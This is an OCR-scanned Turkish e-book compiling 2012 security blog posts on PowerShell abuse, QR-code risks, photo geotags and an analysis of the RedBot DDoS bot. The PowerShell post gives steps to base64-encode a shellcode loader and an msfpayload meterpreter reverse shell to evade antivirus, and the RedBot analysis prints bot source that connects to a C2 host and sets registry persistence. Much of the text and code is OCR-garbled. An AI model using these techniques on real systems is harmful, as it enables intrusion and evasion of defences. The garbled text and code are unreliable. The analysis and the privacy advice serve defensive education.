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Merhabalar,

2009 yiinda "Bilgi glictlir ve paylasidikca artar” mofosuyla olugiurdugum siber giiveniik blogumda (hips://www.merisarica.com) , bilgi glivenkiji farkindabdini arirma adina cok sayda teknik yazya yer vermeye calighm. Yilar icinde
Tiirkiye'nin dért bir yanindan skddm olumiu geri dénigler sonucunda, yazdanmi yilar baznda e-kiap olarak derlemeye ve meraklian e paylasmaya karar verdim.

Emek, zaman ve kaynak ayrrarak yapsdm arasirmalar sonucunda yazdijim bu yazlann, siber glivenik alaninda kendini gelizirmek izteyenier icin umanm faydal clur.
Yeni yazlarla gériismek disdiyle...
Saygianmia,
Mert SARICA
Siber Glvenik Uzmam

hips:/fwww.merisarica.com
hips:/fwiter.com/mersarica

Komut Satirinin Giicii Adina!

Source: https://www.mertsarica.com/komut-satirinin-gucu-adina/
By M.S on December 5th, 2012

=3,

Yapilan istatistiklere gore 2011 yilinin son ¢eyreginde Windows XP isletim sistemi ile Windows 7 igletim sistemi arasindaki kullanim
oranlar1 birbirine olduk¢a yakinken, 2012 yilinin son ¢eyreginde Windows 7 igletim sistemi kullanim oranimin Windows XP isletim
sistemi kullanim oranimi ikiye katlamis olmasi, penetrasyon testi/sizma testi gergeklestiren bilisim giivenligi uzmanlari arasinda tek bir
nedenden 6tiirli memnuniyetle karsilandi o da Windows 7 ile yiikli gelen Powershell'den baskasi degildi.

Powershell, Mircosoft tarafindan yonetim goérevlerini otomatize etmek amaciyla gelistirilmis, .NET siniflarindan faydalanarak betikler
(script) gelistirilmesine imkan tantyan yeni nesil komut satiridur. Ilk siiriimii 2006 yilinda Microsoft tarafindan yayinlanan Powershell'in
ikinci sliriimii 2009 yilinda Windows 7 ve Windows 2008 igletim sistemlerine entegre edilmis {iglincii siiriimii ise Windows 8 ve Windows
Server 2012 isletim sistemlerine entegre edilerek kullanicilarin kullanimina sunulmustur.

Powershell, giivenlik onlemi adina giivenilir kaynaklar tarafindan gelistirilmemis olan betiklerin c¢aligtirllmasina varsayilan
(default) olarak izin vermez. Kurumsal ortamlarda da daha once Powershell'in giiciine taniklik etmis olan Sistem Yoneticileri
cogunlukla Etki Alan1 Denetleyicisi (DC) tizerinden Powershell'in giivenilir olmayan kaynaklardan indirilen betiklerin ¢aligtirilmasini
yasaklamaktadirlar.

B Administrator: C\Windows\System32\cmd.exe - powershell = | B S|

PS C:~Users\MertsDesktop> cat .“Hackd4Career.psl
Mrite put "Hack4Career — www.mertsarica.com — www.hack4career.com"
PS C: rz\MertsDesktop> .“Hack4Career.psl

PS C:~Users \MertsDesktop> Get—ExecutionPolicy

rz\MertsDesktop> _

Ancak ve ancak sistem yoneticileri de dahil ¢ogu son kullanici bu betiklerin Command ve EncodedCommand (Base64 ile kodlanmis
(encode) betik) ile de galistirildigindan haberdar degildir. Normal sartlarda betik ¢alistirmaya izin vermeyen politikalar Command ve
EncodedCommand ile atlatilabilmektedir.


https://www.mertsarica.com/komut-satirinin-gucu-adina/
https://www.mertsarica.com/komut-satirinin-gucu-adina/

B Administrator: C\Windows\System32\cmd.exe - powershell ——- @EI—J

PS C: \U»ex»\Hext\Degktop) cat .“~Hack4Career.psl
_011te Qutput "Hack4Career — www.mertsarica.com — www.hack4career.com"
PS C:sUserssMert:Desktop> _“Hackd4Career.p=sl

ers\Hert\Desktop) $code = {Write—Output "Hack4Career — wwuw.mertsarica.co
hack4career.com'>
.(sﬂeag\gelt\Degktup) [convert]l: :ToBaseb45tring{[Text.Encodingl::Unicode.Get

code}
UwByAGKAdABLACBATwB1AHGACABLIAHGATAALIAEgGAYQBjAGSsANABDAGEACcgB1AGUACcgAgACBATABIAHC
NduwAvNGANZGByAHOAcwBhAHI NaQBIAGEALgBjAGEAbQAACAATIABIAHcAdwALNGyAYQBFAGSANABING
EAcgBlAGUAcgAuAGHAbwBLACIA
PS C:sUsersi\Mert D sktop> powershell —-EncodedCommand UwByAGKAdABIACBATwB1AHQACAB
1AHGATAALAEgGAYQBIAG=ANABEDAGEACcgB1AGUAcgAgACBAIAB3AHcAdwALAGBAZQByAHQAcwBhAHIAaQB
JRGERLgBJHGBRhQHgHCBRIRB3HHcﬂduﬂuﬂGgHYQBJHGQHNHBJRGEHchlRGUHcgﬂuﬂGHﬂhuBtﬂCIH
Hack4Career — wwu.mertsarica.com — www.hack4career.com
PS C:slserssMertsDesktopl

Powershell'in betiklerde .NET siniflarini kullanmaya imkan tanimasi, C# ile yazilmis bir kod pargasini ¢aligtirma (runtime) esnasinda
derlemesi ve ¢alistirmasi sayesinde 6rnegin komut enjeksiyonu (command injection) zafiyeti olan bir Windows Server 2008 isletim
sisteminin komut satirina uzaktan erismek (remote shell) veya basit sifre tahmini ile sizilan bir Windows 7 isletim sisteminin Metasploit'e
baglanmasini saglamak miimkiindiir. En 6nemlisi ise Powershell sayesinde Antiviriis yaziliminin kullanildig1 bir sistemde Antiviriis'e
yakalanmadan istenilen kabuk kodu ¢alistirabilmektedir.

Ornek olarak Powershell iizerinden kabuk kodu ¢alistirmak icin Matt Graeber tarafindan gelistirilen asagidaki betigi kullanabilirsiniz.

$code = {$code = '[Di |l I nport("kernel 32.dl1")]public static extern IntPtr Virtual Alloc(IntPtr |pAddress, uint dwSi

Betigin calisabilmesi igin $sc64 degiskenine hedef islemci mimarisine uygun olan (x32 veya x64) kabuk kodunu kopyalamaniz
gerekmektedir. $sc64 degiskenine atanacak kabuk kodunu asagidaki sekilde olusturabilirsiniz.

nsf payl oad wi ndows/ x64/ neterpreter/reverse_tcp LHOST=192. 168. 159. 128 PORT=4444 EXI TFUNC=thread C | sed '1,6d;s/["

Ardindan  betik  blogunu  Powershell —komut satirina  kopyaladiktan  sonra  Base64 ile  kodlamak igin
[convert]::ToBase64String([ Text.Encoding]::Unicode.GetBytes($code)) kodunu ¢alistirmaniz gerekmektedir. Son olarak Backtrack'de
hazir bulunan Meterpreter ile hedef sistemi baglamak i¢in az dnce elde ettiginiz BASE64 ile kodlanmis betigi hedef sistemde powershell
-EncodedCommand seklinde galistirarak Meterpreter'in Antiviriis yiiklii hedef sistemde basariyla ¢alismasini saglayabilirsiniz.
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Sonug olarak Powershell iistiin 6zelliklerinin yan1 sira mevcut giivenlik kontrollerinin yetersiz olmasi nedeniyle koétiiye kullanima acik
oldugu i¢in kullanimina ihtiya¢ duyulmayan sistemlerden kaldirilmasini tavsiye ederim.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Cabuk Tepki Vermeyin

Source: https://www.mertsarica.com/cabuk-tepki-vermeyin/
By M.S on October 31st, 2012

ey

Quick Response Code (QR Code) Tiirkge meali ile Cabuk Tepki Kodu, 1994 yilinda Toyota'nin istiraki olan Japon Denso firmasi
tarafindan tliretim bandinda parga takibi amaciyla gelistirilmis iki boyutlu barkod tiiriidiir. QR Kodunun veri kapasitesi, niimerik olarak
en fazla 7.089 karakter,

alfaniimerik olarak en fazla 4.291 karakter, ikilik sistem (8 Bit) olarak en fazla 2.953 bayt, Kanji/Kana olarak ise en fazla 1.817
karakterdir. (Veri kapasitesi secilen siiriime ve hata diizeltimine gore degisiklik gdsterebilir.)

Giintimiizde hemen hemen her akilli cihazda (cep telefonlari, tabletler vb.) barkod okuyucu uygulamasi olmasi nedeniyle barkodlar,
basta reklam sektorii olmak {izere hizmet sektorii, gida sektorii, yazilim sektorii ve bankacilik sektorii gibi birgok sektor tarafindan gesitli
amaglar (web sitesi reklami, uygulama indirme, sanal aligveris vs.) i¢in kullanilmaktadir.

Ornegin bundan 7 ay 6nce Astoria Alisveris Merkezinde karsilastigim devasa QR koduna bakacak olursaniz Mekanist mobil
uygulamasini yiikletmek amaciyla kullanildigini gorebilirsiniz.


https://www.mertsarica.com/cabuk-tepki-vermeyin/
https://www.mertsarica.com/cabuk-tepki-vermeyin/
http://www.qrcode.com/en/vertable4.html

http://mkn.st/qr/qkup]

Bicim QR_CODE

Tur URI

Siire 31.10.2012 23:48
Metadata H

Tarayiciyi ag Email ile paylas SMS ile paylas
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@  avast! Mobile Security

avast! is protecting you...

Bildirimler

mekanist-1.apk
indirme tamamlandi

Bir diger 6rnek olarak ise farkli hizmetler sunmak ve diinyada bir ilk olmak i¢in birbirleriyle yarigan risk istahlar yiiksek bankalarimizin
cesitli yontemler ile (salla yolla, sosyal agdan bankacilik) gerceklestirdikleri bankacilik iglemlerini benimsemeye g¢alisirken diger bir
bankamizin ATM'den QR kod ile kredi kartsiz para cekmeye imkan tantyarak diinyada bir ilke imza attigin1 gorebilirsiniz.
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ATM'den QR Kod'la kartsiz para cekmek?

Yazar: Bansg Ozkan Schultz | Tarih: 30.10.2012

Tirk Ekonomi Bankas! (TEB). iPhone kullanicilanna dzel olarak gelistirdigi “CEPTETEB" mobil
bankacillk uygulamasini yeniledi. ‘'CEPTETEB' ile TEB musterileri ATM'den QR Kod'la kartsiz
para cekilebiliyor.

CEPTETEB uygulamasi ile sunulan ATM'den QR Kod'la para cekme ozelligi sayesinde, TEB
ATM'lerinden kartsiz olarak para cekebilecek. CEPTETEB ana menlslnden erisilen Para Cekme
fonksiyonundan hangi hesaptan ne kadar para cekilecedi secildikten sonra ATM ekraninda beliren
QR Kodu telefona okutmak yeterli. Bu dzellik sayesinde telefon ile ATM'den karisiz olarak TL, euro
veya dolar cinsinden para cekmek mimkin oluyor

http://qoo.by/wgo4gA/
cepteteb

Bigim QR_CODE

Tiir URI
Siire 31.10.2012 07:53
Metadata H

Tarayiciyi a¢ Email ile paylas SMS ile paylas

Giiniimiizde QR kodlarin hemen hemen her alanda sik¢a kullaniliyor olmasi ve cep telefonumuz ile her goérdiigiimiiz barkodu taramaya
basliyor olmamiz aslinda sosyal miihendislik saldirilarina da davetiye ¢ikarmaktadir. Cogu zaman akilli cep telefonlarinda da birer
isletim sistemi galistigini ve bu isletim sistemlerinin de ayn1t Windows ve Linux isletim sistemleri gibi zafiyetlere sahip oldugunu ancak
bu isletim sistemlerinden farkli olarak giivenlik yamalarinin kolayca yiiklenemedigini goz ardi etmekteyiz. Durum boyle olunca da cep

telefonlarimizin QR kodlar da dahil olmak iizere ¢esitli yollar ile istismar edilme olasilig1 artmaktadir.

Ornegin iOS ve Android isletim sistemlerinde bulunan Webkit internet tarayicis1 motorunda kesfedilen zafiyetlerin sadece bir web

sitesini ziyaret ederek istismar edilebildigi haberlerini daha dnce okumustuk.


http://www.zdnet.com/mobile-pwn2own-iphone-4s-hacked-by-dutch-team-7000004498/
http://www.zdnet.com/researchers-expose-android-webkit-browser-exploit-3040090787/

Mekanist 6rneginde oldugu gibi barkod okuyucu uygulamasi ile QR kod taratan ve uygulama indirip kurmaya aligan bir kullanicinin art
niyetli kisilerce hazirlanan bir QR kodu okutmasi ve ardindan zararli uygulamay1 cep telefonuna kurma olasilig: yiiksektir ¢iinkii QR
kodlar1 hazirlayan kisilerin/firmalarin dogrulugunun teyit edilmesi miimkiin degildir.

Veya banka orneginde oldugu gibi ATM'de QR kod taramaya alisan bir kullanicinin art niyetli kisilerce hazirlanan ve ATM'lere
yapistirtlan bir QR kodu okutmasi, art niyetli kisilerin kontroliinde olan bir web sitesini ziyaret etmesi ve bu site iizerinde bulunan zararlt
uygulamay1 cep telefonuna istem dis1 yiiklemesi miimkiin olabilir.

Ozetle QR kod taramaya tesvik edildigimiz bugiinlerde giivenliginiz i¢in kaynagindan emin olmadigmiz QR kodlari taramamaniz,
taramaniz durumunda da ozellikle kisaltilmis URL igeren adresleri ziyaret etmemeniz siddetle tavsiye edilir aksi halde art niyetli
kisilerin cep telefonunuza erigsmesi ve kigisel bilgilerinize ele gecirmesi miimkiin olabilir. Herhangi bir QR kodu taramadan 6nce QR
kod olusturulmasinin basit ve anonim olarak ger¢eklestirilebilen bir iglem oldugunu asla unutmayin.

10:32 i»

Tuesday, October 30
€ Charging (50%)

C:sUsers“MertsDesktop“AndroidReverseExploitShell*fAndroidReverseExploitShell.exe [G&

== “'I"E"F'*T"!"
s

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Gorevimiz Geotag

Source: https://www.mertsarica.com/gorevimiz-geotag/
By M.S on October 7th, 2012

P

GPS destegi olan son model iOS veya Android isletim sistemine sahip olan mobil cihaziniz ile bir yandan tatilinizin keyfini ¢ikarirken
diger yandan o muhtesem kumsalin, denizin resmini ¢ekip sosyal medya, resim paylasim siteleri veya kendi web siteniz {izerinden
takipgileriniz ile saat basi paylagirken, evinizi soymak i¢in sizi bu ortamlar {izerinden takip eden ve evinize girmek i¢in en uygun zamani
kollayan hirsizin tatil beldesi ile eviniz arasindaki mesafeyi hesaplayarak kara veya havayolu ile en erken evinize ne kadar siirede
varabileceginizi hesaplamasina istemeden yardimci oluyor olabilirsiniz. Nasil m1 ? Tabii ki ¢ektiginiz ve paylagtiginiz resimlerinizde
gizli olan Geotag ile.

Geotagging kisaca bulundugunuz konumun enlem, boylam gibi cografi konum bilgilerinin fotograf, video, web sitesi, sms mesajlari,
QR Code gibi ¢esitli ortamlara eklenmesidir. Giiniimiizde GPS ile donatilmis dijital fotograf makineleri ve akilli telefonlar sayesinde
isletim sisteminin veya uygulamalarin 6zellikle gekilen fotograflara cografi konum bilgilerini eklemesi giivenligimizi tehdit etmekte ve
biz son kullanicilar i¢in dnem verilmesi, lizerinde durulmasi gereken bir konu haline gelmektedir. Bu bilgiler JPEG dosya formatinda
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cekilen fotograflara iist veri (metadata) olarak Exchangeable Image dosya bi¢iminde (EXIF) veya Extensible Metadata Platform (XMP)
bi¢iminde eklenmektedir. Bu bilgiler, fotograf makinesi tarafindan gekilen fotograflara vurulan ve gozle goriiliir olan zaman damgasindan
farkli olarak gozle goriilmemektedir bu nedenle bu bilgileri goriintiileyebilmek igin gesitli araglardan faydalanilmaktadir.

Her ne kadar bu bilgiler son kullanicilarin giivenligi igin risk teskil etse de suclularin yakalanmasinda 6nemli rol oynayabilir. ABD'nin
giineydogusunda yer alan Alabama eyaletine ait kamu giivenligi daire baskanlig1 web sitesini (dps.alabama.gov) 9 Subat 2012 tarihinde
hackleyen CabinCr3w hacking grubu iiyesi ve Anonymous grubu destekgisi olan wOrmer rumuzlu bilgisayar korsani, sitenin igerigine
kendi hazirladigr metni ve kiz arkadasinin iPhone ile g¢ekilmis bikinili resmini ekleyerek FBI ajanlarmin kendisini yakalamasini
saglamstir. Nasil saglandigindan kisaca bahsedecek olursam;

10S'da Konum Hizmeti varsayilan (Location Services) olarak acik olarak gelmekte ve ¢ekilen fotograflara Geotag bilgisi otomatik olarak
eklenmektedir.

EXIF verisi, Firefox eklentisi olan Exif Viewer gibi gibi ¢esitli araglarla incelenebilmektedir. Exif Viewer eklentisi sayesinde
goriintiilenen fotografa sag tus yapilarak View Image EXIF Data ile iglili veri goriintiilenebilmektedir.


https://addons.mozilla.org/en-US/firefox/addon/exif-viewer/

File Edit View.. S5croll To.. Tools Help
Exif Viewer

Please select your image and set the desired options, then click on the "Display EXIF Data" button,

Basic information only

Local File: ChUsers\Mert\Desktop\Yeni yazi ‘ Select file...

Display Maker Mote (if available)

Remote URL: Suppress image display

Display EXIF Data Use tables rather than lists
Display EXIF tag ID

Ch\Users\Mert\Desktop\Yeni yazi'\1d3j9.jpg

EXIF GPS IFD

GPS Latitude Reference = south latitude (S)
GPS Latitude = 37/1,5142/100,0/1 [degrees, minutes, seconds] ===> 37° 51.42' == 37.857°
GPS Longitude Reference = east longitude (E)
GPS Longitude = 145/1,1502/100,0/1 [degrees, minutes, seconds] ===> 145° 15.02' == 145.250333°
Links to online mapping websites:
© Google™ Maps
© Yahoo!® Maps
© Bing® Maps
o Mapquest®
o Open KML data with Google™ Earth
© Save KML data to file
© Save KML data to file and open with Google™ Earth
GPS Altitude Reference = 0:00,0:400,0:00,0:00
® GPS Altitude = 83837/1392 m ===> 6023 m
® GPS Time Stamp / UTC Time = 3/1,8/1,2274/1 [hours, minutes, seconds] ===> 3h 8m 2274s

Exif Viewer

Bu eklenti, GPS enlem ve boylam bilgilerinin Google Haritalar {izerinden goriintiilenmesine de imkan tanimaktadir.
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Konum bilgilerinden bu evin wOrmer'in kiz arkadasina ait oldugunu tespit eden FBI ajanlari, 20 Mart 2012 tarihinde bu eve
baskin yaparak wOrmer rumuzlu bilgisayar korsanina tutuklamiglardir. Ancak ¢ogunlukla Geotag bilgisi kotii niyetli kisiler tarafindan
kullanildig: igin 6zellikle akill telefon kullanicilart igin bu bilgileri paylasmamalar1 dnerilmektedir. Bunun i¢in yapilmasi gerekenler;

Android kullanici iseniz;
Kamera uygulamasini ¢alistirdiktan sonra meniiden Settings meniisiine girin ve Geotagging veya Location Storage 6zelligini devre dis1
birakin.

iPhone (iOs) kullanicisi iseniz;

Settings > Privacy > Location Services meniisii altindan Camera'y1 off konumuna getirin.

10



Privacy ' Location Services

Location Services uses GPS along with
crowd-sourced Wi-Fi hotspot and cell
tower locations to determine your
approximate location.

< A purple location services icon will

Blackberry kullanicist iseniz;

Kamera simgesine basin daha sonra Menii butonuna ardindan Options meniisiine girin ve son olarak Geotagging 6zelligini Disabled
yaparak devre dist birakin.

Geotag'li resimlerinizden bu bilgileri silmek i¢in ise iPhone i¢in deGeo uygulamasini, Android i¢in ise Pixelgarde uygulamasini
kullanabilirsiniz.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

RedBot Analizi

Source: https://www.mertsarica.com/redbot-analizi/
By M.S on September 2nd, 2012

P

Anonymous grubu, 2010 yilindan bu yana gergeklestirmis oldugu DDOS (dagitik hizmet dis1 birakma saldirisi) saldirilarinda agik kaynak
kodlu Low Orbit Ion Cannon (LOIC) aracindan ve 2012 yilindan bu yana gergeklestirdigi saldirilarda ise High Orbit Ion Cannon (HOIC)
aracindan faydalanmaktadir. Tek basina DOS (hizmet dis1 birakma saldirisi) saldirist gergeklestirebilen bu araglar birden fazla kiginin
ayn1 anda ayn1 hedefe saldir1 gergeklestirmesi ile DDOS saldirisi gergeklestirebilmektedir.

Basindan sik¢a duymus oldugunuz bilgisayar korsanlari X sitesini hackledi seklinde yapilan haberlerin ¢ogu yanhs olarak ifade
edilmektedir ¢iinkii gerceklestirilen siber saldwrilarin biiyiik bir orani DDOS saldirilar ile gergeklestirilmekte, hedef siteye/
sisteme erigimler engellenmektedir. X sitesi hacklendi diyebilmek i¢in siteye/sisteme ve sitede/sistemde yer alan verilere yetkisiz
erigimin saglanmasi gerekmektedir. (Basin mensuplarina duyurulur!)

Bu grubun saldirilarina destek vermek amaciyla dagitilan ve destekgiler tarafindan sistemlerinde galistirilan bu araglardan LOIC
ve tilirevleri, arag ile tanimli gelen IRC sunuculara baglanarak saldirty1 gerceklestiren gruplar tarafindan yonetilen kanallara/odalara

11


http://itunes.apple.com/us/app/degeo-photo-sharing-geotag/id412472011?mt=8
https://play.google.com/store/apps/details?id=com.pixelgarde.free&feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5waXhlbGdhcmRlLmZyZWUiXQ..
https://www.mertsarica.com/redbot-analizi/
https://www.mertsarica.com/redbot-analizi/
https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon

giris yapmakta ve uzaktan saldirt komutu almasini saglamaktadir. HOIC ve tiirevleri ise saldir1 dncesinde dagitilan booster denilen
betiklerin (script) araca yiiklenmesi ve saldir komutunun kullanici tarafindan verilmesi ile gergeklestirilebilmektedir. LOIC aract ile UDP,
TCP ve HTTP protokollerine yonelik DDOS saldirilar1 gergeklestirilebilirken HOIC ile sadece HTTP protokoliine yonelik saldirilar
gerceklestirilmektedir. HOIC arac ile gergeklestirilen HTTP protokoliine yonelik saldirilar, LOIC aracina kiyasla imza tabanli sistemleri
atlatmaya yonelik 6zellikleri olmasi (rastgele iiretilen HTTP basliklar1 gibi) nedeniyle daha etkilidir.

HIGH OREIT ION CANNON =
STANDING BY THREADS QUTPUT TARGETS

FIRE TEH LAZER!

Lock on
o IMMA CHARGIN MAH LAZER
ock on

ted target

TCP / UDP me-

A catis fine too. Desudesudesu~

Attack status

Praetoxtcon =

Gegtigimiz giinlerde bir arkadagim, Twitter hesaplari {izerinden son aylarda gerceklestirdigi siber saldirilar ile adindan sikg¢a soz ettiren
RedHack grubunun DDOS saldirilarina destek vermek amaciyla RedBot adinda benzer bir aracin yayimlandigini ileterek analiz etmemi
rica etti ve ben de vakit kaybetmeden ise koyuldum.

RedBot.rar dosyast icinde yer alan metin dosyasina goz attigimda aracin yukarida bahsettigim diger araglar ile ayn1 amaca hizmet ettigi
anlasiliyordu.

RedBot Redhack grubunun saldirilarimi_eilgisayariniz Uzerinden yénlendiren Bir araci yazilimdir.
Bilgisayarimiz_ig¢in virus vb. yazilimlar Tagimaz Bilgisayarinmiz Sanal bir saldiri A§ina dahil Eder.
Amaci1 Daha Fazla Bilgisayar1 Kullanarak Etkili saldirilar Gerceklestirmektir.

Birkez calistirmamz yeterlidir.

Daha sonra Saldir1 oldugunda Kendiliginden Calisacaktir.

RedBot aracini (RedBot.exe - SHA256: ¢30240d550d2¢86b0f0b71dccOeed36ad5134c¢9ce630ca94d2137bfb38f2ec2d) calistirdigimda
mswinsck.ocx dosyasinin sistemde bulunmamasindan 6tiirii hata vererek ¢aligmayi reddeti. Ardindan ilgili dosyayi sisteme kopyalayip
calistirdiktan sonra arka planda RedBot.exe ad1 altinda ¢alismaya basladigin1 ve Wireshark araci ile yarattig1 trafigi izledigimde ise iki
farkli DNS sorgusuna ait kayit yaratmasi dikkatimi ¢ekti, v.kizilhack.org (bir sorgu) ve igmooky.no-ip.org (onlarca sorgu)
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[l redbot.pcap [Wireshark 180 (SVN Rev 43431 from /trunk-1.8 | B e

IE\Ie Edit View Go Capture Analyze Statistics Telephon! Tools Internals Help
= X2 qaes»aTFTEIEE QAN $EB % B

Filter: | dns IZIExpressmn... Clear Apply Save

No. Time Source Destination Protocol Length Info *
.BO6247 192. 7

75 Standard query Ox9ce6 A v.kizilhack.org

120 185.040716192.168.159.129 192.168.159.2 DNS 86 standard gquery 0x3c66 PTR 2.159.168.192.1in-addr.arpa
121 185.115102192.168.159.2 192.168.159.125 DNS 86 standard query response 0x3c66 No such name
122 185.133263152.168.159.2 192.168.159.129 DNS 91 standard query response 0x9ce6 A 98.124.199.1
H 127 188.345336192.168.159.129 192.168.159.2 DNS 86 standard query 0x479c PTR 1.159.168.192.1in-addr.arpa
128 188.346804 192.168.159.129 192.168.159.2 DNS 88 standard query 0x7e29 PTR 250.255.255.239. in-addr.arpa =
I 129 188.348900192.168.159.129 192.168.159.2 DNS 85 standard query Oxcbd? PTR 1.199.124.98.1in-addr.arpa
I 130 188.414153192.168.159.2 192.168.159.129 DNS 145 standard query response 0x7e29 No such name
131 188.421949192.168.159.2 192.168.159.129 DNS 86 standard query response 0x479c No such name
132 188.424048192.168.159.2 192.168.159.129 DNS 122 standard query response Oxcbd? PTR redirector-sjl.enom.com
| 138 194.795339192.168.159.129 192.168.159.2 DNS 77 standard query 0x91d2 A igmooky.no-ip.org i
139 195.195882192.168.159.2 192.168.159.129 DNS 137 standard query response 0x91d2 B
140 195.202572192.168.159.129 192.168.159.2 DNS 89 standard query 0xf568 A digmooky.no-ip.org.localdomain
141 196.199412192.168.159.129 192.168.159.2 DNS 89 standard query 0xf568 A digmooky.no-ip.org.localdomain
144 198.199815192.168.159.129 192.168.159.2 DNS 89 standard query 0xf568 A igmooky.no-ip.org.localdomain
149 204.795910192.168.159.129 192.168.159.2 DNS 77 standard query 0x255a A igmooky.no-ip.org
150 204.863356192.168.159.2 192.168.159.129 DNS 137 standard query response 0x255a
151 204.867337 192.168.159.129 192.168.159.2 DNS 89 standard query 0x3e03 A -igmooky.no-ip.org. localdomain
152 205.855058192.168.159.129 192.168.159.2 DNS 89 standard query 0x3e03 A igmooky.no-ip.org. localdomain
156 207.855256192.168.159.129 192.168.159.2 DNS 89 standard query 0x3e03 A igmooky.no-ip.org. localdomain
159 214.811898192.168.159.129 192.168.159.2 DNS 77 standard query Oxlae5 A igmooky.no-ip.org -
| 1 | 2
Authority RRs: O -
Additional RRs: 0
= Queries

= v.kizilhack.org: type A, class IN
Name: v.kizilhack.org |
Type: A (Host address)
| Class: IN (0x0001)

0000 00 50 56 fe 8a c8 00 Oc 29 75 Od 93 08 00 45 00
0010 00 3d 00 7b 00 00 80 11 7a 60 cO a8 9f 81 cO a8
0020 9f 02 dd cb 00 35 00 29 a2 73 9c e6 01 00 00 01
0030 00 00 Q0 00 00 00 01 76 09 6b 69 7a 69 6c 68 61
0040 63 6b 03 6f 72 67 00 00 01 00 01

- M, File: "C:\Users\Mert\Desktop\KizilYazilim\re... | Packets: 209 Displayed: 37 Marked: 0 Load time: 0:00.017 | Profile: Default

Microsoft Sysinternals'in Process Explorer araci ile RedBot aracinda tespit edilen dizileri (string) inceledigim zaman aracin gelistirildigi
klasor bilgisinden aslinda bu aracin Visual Basic ile 2007 yilinda gelistirilmis olan Double DDOS aracinin modifiye edilmis hali
oldugunu gordiim.

RedBot.exe: 2220 Properties

E-Imag; ...Performance || Perfarmance Graph | Threads“:; .TCP,I’IP I Security:.; .Environment.| Strings |

Printable stings found in the scan:

Documents a

ode

2c43(800-c2dd-11 cf-9ad6-0080c7e7b7Ed

DAL Documents and Settingst\Adminiztrator\Desktopi\Double DDoS VB SoucetServer\ServeriProject]. vbp
myapp

Setting

w.kizilhack. org

SOFTwWARE \Microsoft\windows MT\Currentversion\winlagan
Shell

Explorer.exe C:MWINDOWS ywinlogon. exe

- &ftacks Enabled

SY'STEMMContiolS etD014S ervices\Sharedbcoess\Parameters\ FirewallPolicy\StandardProfileAuthorizeddpplications'List
C:8WINDOWS \winlogon. exe

GET hittpe//

HTTRA.0

Pl

igmaoky. no-ip.org

Status:

Statuz: [ICMP - Already Enabled]

Statuz: [ lemp - Attack Enabled |

Statuz: [Apache - Already Enabled]

Statuz: [ Apache - Attack Enabled |

Status: [HTTP - Already Enabled]

< [
®lmage O Memoy [ Save ] [ Find ]

216

£

[ Ok ] [ Cancel ]

Double DDOS aracinin kaynak kodunu inceledigimde ise RedBot ile bu aracin hemen hemen ayni oldugunu sadece kaynak
kodununun iki farkli yerinde bulunan igmooky.no-ip.org adresinden sadece bir tanesinin v.kizilhack.org olarak degistirildigini, digerinin
unutuldugunu bu nedenle belirli zaman araliklarinda saldir1 komutu almak i¢in v.kizilhack.org adresine 3003. baglant1 noktasindan (port)
baglanmasi gerekirken 6n tanimli olan ve gegerli olmayan igmooky.no-ip.org adresine 3003. baglanti noktasindan baglanmaya galistigim
gordiim.
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e T o
File Edit View Debug Team Data Tools Test Window Help |
- Sdd|sa@|9-0-0-G # | getsetting T GE RSO,
oM = 20038 03,
w ml frm Moduled bas Modulel bas ModMain bas Forml frn > [QEEES TSR = Solution Explorer « i x
Y With pckt 10
a i 1
2 apchsocket(Index).Close =) Solution ‘Solution]’ (0 projects)
5 apchsocket(Index).Connect .Ip, .Prt
5 End With
2 End Sub

Private Sub apchsocket_SendComplete(Index As Integer) |
On Error Resume Mext

with pckt

apchsocket(Index).Close
spchsocket(Index).Connect .Ip, .Prt
End with

End Sub E ‘

%oqI00L

Private Sub Form_Initialize()

On Error Resume Mext

App.Taskvisible = False

Me.visible = False

App.Title = =*

Me.Caption = *

exeopen = GetSetting(“myapp™, "Setting”, "SettingT)
If exeopen = @ Then

exeopen = 1

SaveSetting “myapp”, “Setting”, “Setting”, exeopen
End If

with Winsockl

Close

.Connect "igmooky.no-ip.org”, 3003 'GetSetting("win32b®, "Software”, “address”), CInt(GetSetting(“wind2b®, "Software”, “f
End With

Call SaveSettingString(MKEY_LOCAL MACHINE, ~SOFTHWARE \Micro
Call SaveSettingString(HKEY_LOCAL_MACHINE, “SYSTEM\ControlSet

End Sub

Private Sub Form_Load()

00% =~ ¢ m ¢ &3 Solut... | IS B Class.

Ready Ln191 Col5 Chs INS

Buna ilave olarak aracin ¢alistirildiktan sonra kayit defteri (registry) ilizerinde degisiklikler yaparak kendisini Windows Giivenlik
Duvari'nin (Firewall) istisna (exception) listesine ekleyerek ilgili adreslere baglanmasini, sistem yeniden baslatildiktan sonra
tekrar calisabilmesi icin C:\WINDOWS\winlogon.exe satirmm1 HKEY LOCAL MACHINE, "SOFTWAREMicrosoft\Windows NT
\CurrentVersion\Winlogon anahtaria ekledigini ve aracin kendisini winlogon.exe adi altinda Windows klasdrii altina kopyalamadig:
icin sistem yeniden baslatildiktan sonra ¢alisamadigini gérdiim.

Cal| SaveSettingString(HKEY_LOCAL_MACHI NE, "SOFTWARE\ M cr osof t\ W ndows NT\ Current Ver si on\ W nl ogon", "Shell", "Exp
Cal |l SaveSettingString(HKEY_LOCAL MACHI NE, " SYSTEM Contr ol Set 001\ Ser vi ces\ Shar edAccess\ Par anet er s\ Fi rewal | Pol i cy\

Kaynak kodu sayesinde ileri seviye analize ihtiya¢ duymadan elde ettigim bilgiler sonucunda aracin eski, diizgiin yapilandirilmamis
olmasi ve temel diizeyde tek tip UDP, TCP, ICMP ve HTTP saldirilan gergeklestirmesi nedeniyle tespit edilmesinin ve engellenmesinin
Anonymous grubu tarafindan kullanilan LOIC ve HOIC araglarina kiyasla daha kolay oldugunu ve aracin saldirt komutu almak diginda
baska bir amaca (dosya sistemine erisim, bagka zararli dosyalar indirme gibi) hizmet etmedigini sdyleyebilirim.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Not: An itibariyle RedBot aracini 42 Antiviriis yazilimmdan sadece 16 tanesi taniyabilmektedir. VirusTotal raporuna buradan
ulasabilirsiniz.

Birdirbir
Source: https://www.mertsarica.com/birdirbir/
By M.S on August 4th, 2012

e

Penetrasyon (sizma) testi gerceklestirenlerin ¢ogu hem sundugu sayisiz imkanlar, hem agik kaynak kodlu olmasi ve hem de iicetsiz
